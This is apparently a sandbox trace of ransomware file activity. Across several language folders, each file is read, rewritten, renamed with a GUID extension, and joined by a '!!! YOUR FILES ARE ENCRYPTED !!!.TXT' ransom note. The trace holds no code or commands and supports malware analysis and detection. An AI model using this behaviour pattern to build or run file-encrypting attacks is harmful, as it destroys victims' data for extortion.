File	Move	source_filename = C:\588bce7c90097ed212\1038\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1038\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1040\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1040\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 3643, size_out = 3643	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 3669	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1040\eula.rtf, destination_filename = C:\588bce7c90097ed212\1040\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1040\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1040\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 80060, size_out = 80060	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 80085	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1040\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1040\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1041\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1041\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 10125, size_out = 10125	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 10149	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1041\eula.rtf, destination_filename = C:\588bce7c90097ed212\1041\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1041\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1041\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 68226, size_out = 68226	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 68261	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1041\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1041\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1042\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1042\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 12687, size_out = 12687	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 12725	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1042\eula.rtf, destination_filename = C:\588bce7c90097ed212\1042\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1042\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1042\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 65238, size_out = 65238	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 65269	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1042\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1042\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1043\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1043\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 3546, size_out = 3546	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 3573	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1043\eula.rtf, destination_filename = C:\588bce7c90097ed212\1043\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1043\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1043\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 79634, size_out = 79634	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 79669	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1043\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1043\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1044\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1044\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 3046, size_out = 3046	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 3077	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1044\eula.rtf, destination_filename = C:\588bce7c90097ed212\1044\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1044\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1044\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 79296, size_out = 79296	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 79333	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1044\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1044\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1045\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1045\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 4040, size_out = 4040	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 4069	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1045\eula.rtf, destination_filename = C:\588bce7c90097ed212\1045\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1045\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1045\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 82374, size_out = 82374	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 82405	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1045\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1045\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1046\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1046\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 3683, size_out = 3683	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 3717	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1046\eula.rtf, destination_filename = C:\588bce7c90097ed212\1046\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1046\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1046\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 80738, size_out = 80738	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 80773	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1046\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1046\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1049\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1049\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 54456, size_out = 54456	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 54485	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1049\eula.rtf, destination_filename = C:\588bce7c90097ed212\1049\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1049\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1049\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 81482, size_out = 81482	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 81509	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1049\LocalizedData.xml, destination_filename = C:\588bce7c90097ed212\1049\LocalizedData.xml.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1053\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1053\eula.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 3865, size_out = 3865	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 3893	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 1	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 188	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 4	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 1268	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\eula.rtf, size = 4	1	Fn Data
File	Move	source_filename = C:\588bce7c90097ed212\1053\eula.rtf, destination_filename = C:\588bce7c90097ed212\1053\eula.rtf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\588bce7c90097ed212\1053\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE	1	Fn
File	Write	filename = C:\588bce7c90097ed212\1053\!!! YOUR FILES ARE ENCRYPTED !!!.TXT, size = 412	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, size = 1	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\1053\LocalizedData.xml, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
